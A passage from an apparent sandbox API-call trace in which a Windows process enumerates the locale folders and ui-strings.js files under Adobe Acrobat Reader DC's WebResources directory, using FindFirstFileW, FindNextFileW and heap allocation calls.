DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0254.838] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.838] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0254.838] GetProcessHeap () returned 0xc10000 [0254.838] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0254.838] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0254.839] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0254.839] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0254.840] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0254.840] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0254.840] GetProcessHeap () returned 0xc10000 [0254.840] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0254.840] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0254.841] GetProcessHeap () returned 0xc10000 [0254.841] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0254.841] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.131] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.132] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.132] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.132] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.133] GetProcessHeap () returned 0xc10000 [0255.133] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.133] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0255.133] GetProcessHeap () returned 0xc10000 [0255.133] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.133] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.134] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.134] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.134] GetProcessHeap () returned 0xc10000 [0255.134] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.134] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1 [0255.134] GetProcessHeap () returned 0xc10000 [0255.135] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\es-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.136] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.136] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.136] GetProcessHeap () returned 0xc10000 [0255.136] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.136] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-fi", cAlternateFileName="")) returned 1 [0255.137] GetProcessHeap () returned 0xc10000 [0255.137] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\fi-fi\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0255.138] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.138] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.138] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.138] FindClose (in: hFindFile=0x33e49e8 | out: hFindFile=0x33e49e8) returned 1 [0255.138] GetProcessHeap () returned 0xc10000 [0255.138] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.138] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1 [0255.139] GetProcessHeap () returned 0xc10000 [0255.139] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.139] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\fr-fr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.140] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x3a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.140] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.140] GetProcessHeap () returned 0xc10000 [0255.140] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.140] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0255.141] GetProcessHeap () returned 0xc10000 [0255.141] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.141] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\it-it\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.141] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.141] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x396, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.141] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0255.141] GetProcessHeap () returned 0xc10000 [0255.142] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.142] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0255.142] GetProcessHeap () returned 0xc10000 [0255.142] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.142] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e47e8 [0255.145] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, 